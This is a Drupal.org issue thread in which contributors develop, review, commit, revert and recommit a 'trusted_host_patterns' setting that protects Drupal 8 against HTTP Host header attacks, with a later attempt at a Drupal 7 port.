@mpdonadio: Drupal just doesn't have enough information to validate this by default, so making it opt-in sounds quite reasonable to me.

Damien Tournoud’s picture

@mpdonadio: Drupal just doesn't have enough information to validate this by default, so making it opt-in sounds quite reasonable to me.

That said, we should add a requirements warning in that case, as suggested by Peter in the original private issue.

dawehner’s picture

We could even make that configurable directly from the installer.

mpdonadio’s picture

Assigned: Unassigned » mpdonadio
Status: Needs review » Needs work

After I submitted this, I started to think about the UX of adding this to the installer.

Would we want to keep it in settings, or move it to config? I am thinking keeping it in settings so that (1) it will vary host-to-host so we don't want it to move between dev<->staging<->live and (2) we probably want this to happen before we boot the kernel so the protection is already in place there.

I think the best in the installer would be the CONFIGURE SITE page on the installer. I see three potential options: checkbox (defaulted to checked) to use current SERVER_NAME, a textfield prepopulated with SERVER_NAME that user can change to set up a single host (probably my preference), or a textarea prepopulated with SERVER_NAME and that the user can add multiple patterns, too.

How about this plan. I add a hook_requirements('runtime') that does a REQUIREMENT_WARNING if the setting is empty; we would want that anyway. We review/commit the current approach, and publish a CR with the new setting. Then we file a followup issue as a major for adding the config to the installer. That way we can get more people testing this in real situations earlier, and I have a nagging suspicion that we are going to run into complications with `drush site-install` which will affect TestBot, and also spend a while working out the minutiae of the UX.

Plan?

webchick’s picture

We in general try very, very hard not to add options to the installer. And this:

"checkbox (defaulted to checked) to use current SERVER_NAME, a textfield prepopulated with SERVER_NAME that user can change to set up a single host (probably my preference), or a textarea prepopulated with SERVER_NAME and that the user can add multiple patterns, too."

Sounds like something I would have no idea how to fill out, let alone a typical Drupal site builder. :\

mpdonadio’s picture

We discussed the installer option at the WSCCI mtg today, and decided to proceed with just using settings for this issue, and warn the user via hook_requirements(). I will post a patch with this soon.

Having the installer create the setting will be done as a followup, #2404259: Allow trusted hosts to be configured with the installer. Details can be discussed there, and we can always Close (Won't Fix) if it becomes a problem.

mikey_p’s picture

Status: Needs work » Needs review

Without the installer bit, the patch from #53 looks good to me, unless you want to add a hook_requirements.

klausi’s picture

I agree that we should not add more stuff to the installer. Can we just save the current SERVER_NAME to settings.php on installation? The assumption would be that users invoke the installer on the final production domain.

dawehner’s picture

Well, I would assume this is often not the case, so for those people they would have to adapt their settings.php? I guess they would have to do that most of the time
anytime in order to fix their sql connection settings and maybe even more.

amateescu’s picture

Can we just save the current SERVER_NAME to settings.php on installation? The assumption would be that users invoke the installer on the final production domain.

I don't think that is a good assumption. A lot of projects where I was involved used a pre-production environment for "installation", followed by a migration/switch to the production domain which didn't involve any installation step.

klausi’s picture

Sure, but they have to change the database connection details, Redis, Varnish etc. stuff in settings.php for that production move anyway. So that would be really just for the shared hosting users that start their site on the production domain.

The point is to export a setting for security reasons so that a permissive wildcard webserver configuration does not pose a security hazard.

dawehner’s picture

Given that people don't remember that, does that mean the 400 should point to the settings.php to change it?

mpdonadio’s picture

FileSize
10.98 KB
FAILED: [[SimpleTest]]: [PHP 5.4 MySQL] 83,594 pass(es), 2 fail(s), and 1 exception(s). View
3.11 KB

Added a hook_requirements and test coverage for the additional status.

Will experiment with adding the equivalent of

$settings['trusted_host_patterns'] = array('^' . preg_quote(\Drupal::request()->getHost()) . '$');

to the installer code. I will likely not do this if `PHP_SAPI === 'cli'`. Not sure how to handle drush installs.

Status: Needs review » Needs work

The last submitted patch, 66: http_host_header_cannot-2221699-66.patch, failed testing.

mpdonadio’s picture

Hmmm. That passed for me locally... Trying some things.

mikey_p’s picture

Because the Request::$trustedHostPatterns is static, this breaks in a number of places as soon as you change your trusted host pattern away from anything that matches 'localhost' as we saw in the Views portion of this patch. I traced this failure to the breadcrumb system in PathBasedBreadcrumbBuilder::getRequestForPath(), which does:

    // @todo Use the RequestHelper once https://drupal.org/node/2090293 is
    //   fixed.
    $request = Request::create($this->context->getBaseUrl() . '/' . $path);

#2090293: Fix RequestHelper says that RequestHelper has been dropped...if this is the case, we're going to have to find another way to handle this use of Requests for setting up routes.

EDIT: The resulting request object has it's host as 'localhost' since the base url from the request context is empty here, this means that trusted host checking fails when calling getHost() on the requests created as part of the breadcrumb.

Setting $base_url in settings.php did not help.

Wim Leers’s picture

I'll remove the local defaults, and figure out a better way to have this enabled by default, but also work with misconfigured local devs.

This could live in example.settings.local.php. See https://www.drupal.org/node/2259531.

mikey_p’s picture

Status: Needs work » Needs review
FileSize
11.86 KB
FAILED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,037 pass(es), 3 fail(s), and 0 exception(s). View
892 bytes

This should fix the errors from white screen related to the breadcrumb system. I'm not in love with the solution, but creating a new request from bits and pieces of the current request context, and other local vars, seems a bit kludgy to start with.

Status: Needs review » Needs work

The last submitted patch, 71: 2221699-http_host_trusted_headers-71.patch, failed testing.

znerol’s picture

EDIT: The resulting request object has it's host as 'localhost' since the base url from the request context is empty here

This is a bug. Symfonys RouterListener is supposed to update the request context with values from the current request.

this means that trusted host checking fails when calling getHost() on the requests created as part of the breadcrumb.

Could you try swapping out the request context with request stack in the breadcrumb builder?

dawehner’s picture

Note: #2350837: Convert most usages of EntityInterface::getSystemPath() to use routes introduces a method for this exact usecase, don't it? It's in, so we can use getCompleteBaseUrl.

mikey_p’s picture

Status: Needs work » Needs review
FileSize
14.47 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,060 pass(es). View
3.57 KB

Thanks, everything seems to work as expected with the new getCompleteBaseUrl() from RequestContext.

mpdonadio’s picture

Assigned: mpdonadio » Unassigned

I think the remaining task on this would be to use to create a section in example.settings.local.php, using the old defaults and section in default.settings.php as a starting point. I can do this tomorrow. Otherwise, I think people can review #75 for the actual code changes now that it is green.

klausi’s picture

Status: Needs review » Needs work
  1. +++ b/core/modules/system/src/Tests/System/TrustedHostsTest.php
    @@ -0,0 +1,62 @@
    +  public function testStatusPageWithoutConfiguration() {
    +    $this->drupalGet('admin/reports/status');
    +
    +    $this->assertRaw(t('Trusted Host Settings'));
    +    $this->assertRaw(t('The trusted_host_patterns setting is not configured in settings.php.'));
    +  }
    

    why don't you check for the response HTTP status code here same as you do in testStatusPageWithConfiguration()? Or is the status code always 200 and therefore the assertion is useless?

  2. +++ b/core/modules/system/system.install
    @@ -611,6 +611,27 @@ function system_requirements($phase) {
    +      $requirements['trusted_host_patterns'] = array(
    +        'title' => t('Trusted Host Settings'),
    +        'value' => t('Enabled'),
    

    Should we print out the current value of the setting here? Would be useful I think.

  3. +++ b/core/modules/system/system.install
    @@ -611,6 +611,27 @@ function system_requirements($phase) {
    +        'severity' => REQUIREMENT_WARNING,
    

    If it is highly recommended then this should be an error, not a warning.

So I assume we cannot test the BadRequestException that should be thrown by DrupalKernel::createFromRequest()?

And the patch does not implement the idea to populate the trusted host setting during installation, but that would be just a usability improvement and should not hold up this patch.

I manually tested the 400 response and that works correctly, However, we should really specify a message with the exception since a white screen alone is confusing.

mpdonadio’s picture

Assigned: Unassigned » mpdonadio

Thanks for the feedback; I will work have something ready for further review soon. I am not sure if I explicitly tried to test the BadRequestException(); I'll look into it.

I will also create a followup to investigate prepopulating the trusted hosts during setup.

YesCT’s picture

Issue tags: +security
mpdonadio’s picture

Assigned: mpdonadio » Unassigned
Status: Needs work » Needs review
FileSize
16.78 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,133 pass(es). View
5.42 KB

Addresses #77. Added section to example.settings.local.php for localhost. Also added a short section to SiteSettingsForm to save off the hostname when the installer is run from the web. I don't know if this is testable (if so, please suggest how).

I don't see how we can actually test the BadRequestException in our testing framework.

aspilicious’s picture

-    $request = Request::create($this->context->getBaseUrl() . '/' . $path);
+    $request = Request::create( $this->context->getCompleteBaseUrl() . '/' . $path);

Extra space introduced

kim.pepper’s picture

FileSize
17.28 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,147 pass(es). View
1.74 KB

Fixed #81 and cleaned up imports.

attiks’s picture

Some typos and missing dots at the end

  1. +++ b/core/lib/Drupal/Core/DrupalKernel.php
    @@ -217,6 +220,15 @@ public static function createFromRequest(Request $request, $class_loader, $envir
    +    // Initialize our list of trusted HTTP Host headers to protect against
    +    // header attacks
    

    Missing dot at the end

  2. +++ b/core/lib/Drupal/Core/DrupalKernel.php
    @@ -1254,4 +1266,46 @@ public static function validateHostname(Request $request) {
    +   *   The request object
    ...
    +   *   The array of trusted host patterns
    ...
    +   *   TRUE if the Host header is trusted, FALSE otherwise
    

    Missing dot at the end

  3. +++ b/core/modules/system/src/Tests/System/TrustedHostsTest.php
    @@ -0,0 +1,62 @@
    +   * Tests that the status page shows the trusted patterns from settings.php
    

    Missing dot at the end

  4. +++ b/core/modules/system/system.install
    @@ -611,6 +611,28 @@ function system_requirements($phase) {
    +  // See if trusted hostnames have been configured, and warn the user if not
    +  // set.
    

    and warn the user if they are not set

  5. +++ b/core/modules/views_ui/src/ViewUI.php
    @@ -611,8 +611,9 @@ public function renderPreview($display_id, $args = array()) {
    +      // Request object gets all of proper values from $_SERVER.
    

    gets all the proper values

  6. +++ b/core/tests/Drupal/Tests/Core/DrupalKernel/DrupalKernelTrustedHostsTest.php
    @@ -0,0 +1,78 @@
    +    // Tests canonical URL
    ...
    +    // header is optional
    

    Missing dot at the end

  7. +++ b/core/tests/Drupal/Tests/Core/DrupalKernel/DrupalKernelTrustedHostsTest.php
    @@ -0,0 +1,78 @@
    +    // Tests mismatches
    

    Tests mismatch.

  8. +++ b/sites/default/default.settings.php
    @@ -607,3 +607,40 @@
    + * expression paterns, without delimiters, representing the hosts you would like
    

    paterns -> patterns

klausi’s picture

Status: Needs review » Needs work
  1. +++ b/core/lib/Drupal/Core/DrupalKernel.php
    @@ -217,6 +220,15 @@ public static function createFromRequest(Request $request, $class_loader, $envir
    +        throw new BadRequestHttpException('Invalid HOST header detected.');
    

    This should say what users can do to fix this like "Invalid HOST header detected, check $settings['trusted_host_patterns'] in settings.php.

  2. +++ b/core/lib/Drupal/Core/DrupalKernel.php
    @@ -301,7 +313,7 @@ public function __construct($environment, $class_loader, $allow_dumping = TRUE)
       public static function findSitePath(Request $request, $require_settings = TRUE) {
         if (static::validateHostname($request) === FALSE) {
    -      throw new BadRequestHttpException();
    +      throw new BadRequestHttpException('');
         }
    

    This looks like an unrelated change and should be removed?

arlinsandbulte’s picture

Status: Needs work » Needs review
FileSize
16.92 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,185 pass(es). View
4.73 KB

Addressed 83.1-8
Addressed 84.2

DID NOT address 84.1

P.S., not sure I did the interdiff quite right, the diff format does not look right...

mpdonadio’s picture

Assigned: Unassigned » mpdonadio

I was in the middle of posting my patch. Stand by.

mpdonadio’s picture

Assigned: mpdonadio » Unassigned
FileSize
16.98 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,170 pass(es). View
5.58 KB
1.11 KB

This patch will address everything from #83 and #84. The interdiff in #85 is messed up, so I also attached that done via a `git diff` between my branches.

Re, #84-2, we did not want a message in #2304949: Port HTTP Host header DoS fix from SA-CORE-2014-003, so that hunk was there to explicitly make sure none was printed now that index.php outputs the exception message. However, I did test everything with that hunk removed with my DOS script, and it works properly, and as expected.

klausi’s picture

Status: Needs review » Reviewed & tested by the community

Looks good now, assuming the testbot is happy.

klausi’s picture

Status: Reviewed & tested by the community » Needs work
Issue tags: +Needs issue summary update

Ah yes, we need a change notice draft for this beforehand.

And the issue summary desperately needs an update.

mpdonadio’s picture

Assigned: Unassigned » mpdonadio

I'll work on both today.

mpdonadio’s picture

Issue tags: +Needs change record
mpdonadio’s picture

Issue summary: View changes
mpdonadio’s picture

Issue summary: View changes
mpdonadio’s picture

Assigned: mpdonadio » Unassigned
Status: Needs work » Needs review
Issue tags: -Needs issue summary update, -Needs change record

OK, I think the IS and CR are good to go.

Damien Tournoud’s picture

throw new BadRequestHttpException('Invalid HOST header detected, check $settings[\'trusted_host_patterns\'] in settings.php.');

Here we are potentially displaying site administrator recommendations to end users. I consider this a bad practice. I would recommend instead that we display a simple, but specific error message that site administrators can google. Something like "The provided host name is not valid for this server.", maybe?

mikey_p’s picture

While I agree with #95 we already have the developer/admin specific info in index.php for rebuilds.

It would be nice if we could do some detection to see if the user is likely to have access to settings.php, but I suspect there is no way to do this so early in the bootstrap.

klausi’s picture

Status: Needs review » Reviewed & tested by the community

@Damien: If this exception occurs then the site is not reachable at all for that domain. I think that qualifies as emergency that a site administrator will want to fix as quickly as possible without going through one layer of indirection in a search engine. Yes, end users will see an ugly message that makes no sense to them, but they are already on a white screen of death page with nothing else on it. So the added uglyness is IMO reasonable here as we can support site administrators in solving their emergency quickly.

So I'm setting this to RTBC, we can discuss the message change in a follow-up?

alexpott’s picture

Status: Reviewed & tested by the community » Needs work

I agree with @Damien Tournoud in #95. This message shouldn't have anything about the settings.php - the error status is 400 and unlike the cache re-generate message this exception can be caused by something external Drupal - i.e the evil http post in the issue summary. Also the developer specific info in the index.php only occurs if the drupal error handler throws an exception or the exception is thrown before the error handler is registered.

mpdonadio’s picture

Status: Needs work » Needs review
FileSize
16.94 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,179 pass(es). View
766 bytes

When this get committed, I'll edit the Handbook and also post a question/answer at Drupal Answers to the error message has high googleability.

klausi’s picture

Status: Needs review » Reviewed & tested by the community

Thanks, back to RTBC assuming the testbot will come back green.

alexpott’s picture

Version: 8.0.x-dev » 7.x-dev
Status: Reviewed & tested by the community » Patch (to be ported)

I'm not 100% certain how pre-population in the installer is going to turn out. But we can always remove that if it creates more problems than it solves. Also Drupal 8's current exception handler is never ever reached because of the catch all in index.php. I think we need to review what we are doing with errors and exceptions - but that is not up to this issue.

Committed 2c9eddf and pushed to 8.0.x. Thanks!

Thanks for adding the beta evaluation to the issue summary.

  • alexpott committed 2c9eddf on 8.0.x
    Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte:...
alexpott’s picture

Version: 7.x-dev » 8.0.x-dev
Status: Patch (to be ported) » Needs work

After applying this patch I have locel phpunit failures for both php 5.4 and 5.6. I'm reverting the patch. See https://gist.github.com/alexpott/4ea9a9c0b9de6918e816

  • alexpott committed a8cccfc on 8.0.x
    Revert "Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte...
dawehner’s picture

@alexpott
So we should investigate IMHO why the testbot did not caught that, do you know why?

mpdonadio’s picture

Assigned: Unassigned » mpdonadio

Rather baffled, but I will see what is going on...

alexpott’s picture

Status: Needs work » Needs review
FileSize
1.58 KB
16.94 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,253 pass(es). View

So testbot runs each phpunit test individually whilst I run them all at once. Symfony's request object stores the trusted headers in a static property - which allows them to bleed across tests. I've removed the usage of Settings since that is not under test and is unnecessary.

alexpott’s picture

Symfony do exactly the same thing in their tests see Symfony\Component\HttpFoundation\Tests\RequestTest::testTrustedHosts()

neclimdul’s picture

Status: Needs review » Reviewed & tested by the community

Going to optimistically bump this up. The changes are straightforward and I recreated both the previous failures and the lack there of with the new patch.

mikey_p’s picture

Looks good to me, I ran the phpunit with an older patch and the latest to confirm the testing bug and the latest patch fixes it.

alexpott’s picture

Status: Reviewed & tested by the community » Needs review
+++ b/core/lib/Drupal/Core/Installer/Form/SiteSettingsForm.php
@@ -155,6 +155,13 @@ public function submitForm(array &$form, FormStateInterface $form_state) {
+    // Set the initial trusted host value if this isn't a command line install.
+    if (PHP_SAPI !== 'cli') {
+      $settings['settings']['trusted_host_patterns'] = (object) array(
+        'value' => array('^' . preg_quote(\Drupal::request()->getHost()) . '$'),
+        'required' => TRUE,
+      );
+    }

I'm extremely uneasy about this. I think this will represent a big challenge to users who build a site locally on something like mamp and copy everything up to a host. I think we should remove this. Discussed with @catch in IRC and he agreed.

I'm also questioning my choice to make the error message very generic. This is a hard call. In some ways having trusted_host_patterns configured wrongly is like mis-configuring your database settings, on the other hand, it is possible to cause this exception by making a malicious http request.

klausi’s picture

Status: Needs review » Needs work

Discussed in IRC with alexpott and catch: let's remove the installer setting for now, as the patch with the trusted hosts setting is a huge improvement already.

We can discuss further how Druapl should be secure by default and if it should always abort requests with a 400 response if the trusted hosts setting is empty.

mpdonadio’s picture

Assigned: mpdonadio » Unassigned
Status: Needs work » Needs review
FileSize
16.13 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,505 pass(es). View
832 bytes

Per more IRC w/ @klausi and @alexpott

1. Remove installer setting.
2. Leave error message as-is.

klausi’s picture

Status: Needs review » Reviewed & tested by the community

Looks good, assuming this will be green on the testbot.

Status: Reviewed & tested by the community » Needs work

The last submitted patch, 114: http_host_header_cannot-2221699-114.patch, failed testing.

klausi’s picture

Status: Needs work » Reviewed & tested by the community

Ooops, that was me canceling the testbot because it was stuck.

alexpott’s picture

Version: 8.0.x-dev » 7.x-dev
Status: Reviewed & tested by the community » Patch (to be ported)

Since my changes are only to the unit test I think it is valid for me to commit this. Committed 98377d5 and pushed to 8.0.x. Thanks!

  • alexpott committed 98377d5 on 8.0.x
    Issue #2221699 by mpdonadio, mikey_p, alexpott, kim.pepper,...
sidharrell’s picture

My only issue, coming from the noob perspective, was when I hit the new nag message in the admin, that the link takes you to https://www.drupal.org/node/1992030, which doesn't really give you a good "here's what you are supposed to do, dummy" kind of thing. It starts talking about D7, and I'm on D8, and I end up just being like, "huh?"
I was able to figure it out, find the change record, find this issue, but less well equipped noobs might find this kind of thing really frustrating.
I would suggest changing the link in the nag message in the admin to instead point to the change record, and make sure that the change record has a good, simple, "this is what you do to get rid of this message in the right way" kind of how-to right up front.
Also the comment right above the trusted_host_patterns section in settings.local.php could be a little more helpful as to how you are supposed to alter it to get the nag to go away. It defaults to localhost, but an idiot like me who calls their computer by "http://desktop" has to make a change there, so maybe a link to something on regex patterns?

mpdonadio’s picture

@sidharrell, editing Protecting against HTTP HOST Header attacks to give information about this patch is on my todo list. Adding a questions w/ answer to Drupal Answers is also on my todo list. So, plans are underway to fully document this, but we just haven't gotten to yet.

tim.plunkett’s picture

The changes to example.settings.local.php really threw me off today, we don't want to do that.
#2416563: Follow-up to "HTTP_HOST header cannot be trusted"

RoSk0’s picture

Status: Patch (to be ported) » Needs review
FileSize
4.71 KB
PASSED: [[SimpleTest]]: [MySQL] 41,115 pass(es). View

Initial D7 port version.
There is a major issue with this patch it doesn't work.
Configuration is not initialized yet when host is been checked with drupal_valid_http_host() in drupal_environment_initialize().
Not sure how to handle this further. Any advise or recommendation are welcomed.

neclimdul’s picture

+++ b/includes/bootstrap.inc
@@ -711,12 +711,16 @@ function drupal_environment_initialize() {
-  return strlen($host) <= 1000
+  $length = strlen($host) <= 1000;
     // Limit the number of subdomains and port separators to prevent DoS attacks
     // in conf_path().
-    && substr_count($host, '.') <= 100
-    && substr_count($host, ':') <= 100
-    && preg_match('/^\[?(?:[a-zA-Z0-9-:\]_]+\.?)+$/', $host);
+  $subdomains = substr_count($host, '.') <= 100;
+  $ports = substr_count($host, ':') <= 100;
+  $characters = preg_match('/^\[?(?:[a-zA-Z0-9-:\]_]+\.?)+$/', $host);

Didn't get past this. The DoS protection is the chaining here. The preg_match() can explode so it relies on the behavior of && to not run if the sanity checks don't pass.

mikeker’s picture

hass’s picture

Today I was confused that the domain I'm installing the site on is not added by default to the trusted_host_patterns variable.

Are there plans to configure this setting by default with the installation url?

mpdonadio’s picture

@hass, we tried to do that and it got rather complicated (note the several followups to get this version right). There is an issue to discuss automagically setting this with the installer: #2404259: Allow trusted hosts to be configured with the installer

mikeker’s picture

Status: Needs review » Needs work

Based on #125, changing to NW. We want to return FALSE before we hit preg_match with a bazillion subdomain request.

webchick’s picture

Got this today when setting up a demo site, and realized that now site builders are required to hand-craft regular expression patterns in PHP (including manually escaping problematic characters like "." which are in literally every URL), after futzing with file permissions to make settings.php writable (hope they remember/know how to switch it back... :\) in order to not have errors showing on their status screen on a fresh install. :(

It seems like it would be vastly preferable to move this to a YAML file somewhere or similar which would be much easier for non-technical users to edit. Or better yet a config page, but I'm assuming we can't do that for security reasons, heh.

I can open a follow-up, but wasn't sure if it would be vetoed out of the gate. I know about #2404259: Allow trusted hosts to be configured with the installer but not sure that's a solution since a lot of people install on localhost or similar before moving it to their "real" environment which will have a different URL.

Fabianx’s picture

#130: How did you hit that bug / feature? In my testing the protection was by default off as that variable was not set at all. Or was this just a "best practice" training?

catch’s picture

@Fabianx you don't hit the actual exception, but because we don't set anything for this in the installer, you get a hook_requirements() warning - attaching screenshot.

@webchick the reason this is in settings.php is so we can bail out really, really early if there's no match.

I think we could look at whether it would be OK to bail out later (and then this could go into config and have a UI). Or also if we can't do that, whether we should allow people to set up some domains in the installer.

Fabianx’s picture

Issue summary: View changes

I think the minimum we should do is create a code generator based on a UI that you can then copy to settings.php.

webchick’s picture

Removing some D8 tags so I don't get confused. :D

  • alexpott committed 2c9eddf on 8.1.x
    Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte:...
  • alexpott committed 98377d5 on 8.1.x
    Issue #2221699 by mpdonadio, mikey_p, alexpott, kim.pepper,...
  • alexpott committed a8cccfc on 8.1.x
    Revert "Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte...

  • alexpott committed 2c9eddf on 8.3.x
    Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte:...
  • alexpott committed 98377d5 on 8.3.x
    Issue #2221699 by mpdonadio, mikey_p, alexpott, kim.pepper,...
  • alexpott committed a8cccfc on 8.3.x
    Revert "Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte...

  • alexpott committed 2c9eddf on 8.3.x
    Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte:...
  • alexpott committed 98377d5 on 8.3.x
    Issue #2221699 by mpdonadio, mikey_p, alexpott, kim.pepper,...
  • alexpott committed a8cccfc on 8.3.x
    Revert "Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte...
selwynpolit’s picture

I'm finding a need for this functionality in Drupal 7. Is anyone else in the same situation?

  • alexpott committed 2c9eddf on 8.4.x
    Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte:...
  • alexpott committed 98377d5 on 8.4.x
    Issue #2221699 by mpdonadio, mikey_p, alexpott, kim.pepper,...
  • alexpott committed a8cccfc on 8.4.x
    Revert "Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte...

  • alexpott committed 2c9eddf on 8.4.x
    Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte:...
  • alexpott committed 98377d5 on 8.4.x
    Issue #2221699 by mpdonadio, mikey_p, alexpott, kim.pepper,...
  • alexpott committed a8cccfc on 8.4.x
    Revert "Issue #2221699 by mpdonadio, mikey_p, kim.pepper, arlinsandbulte...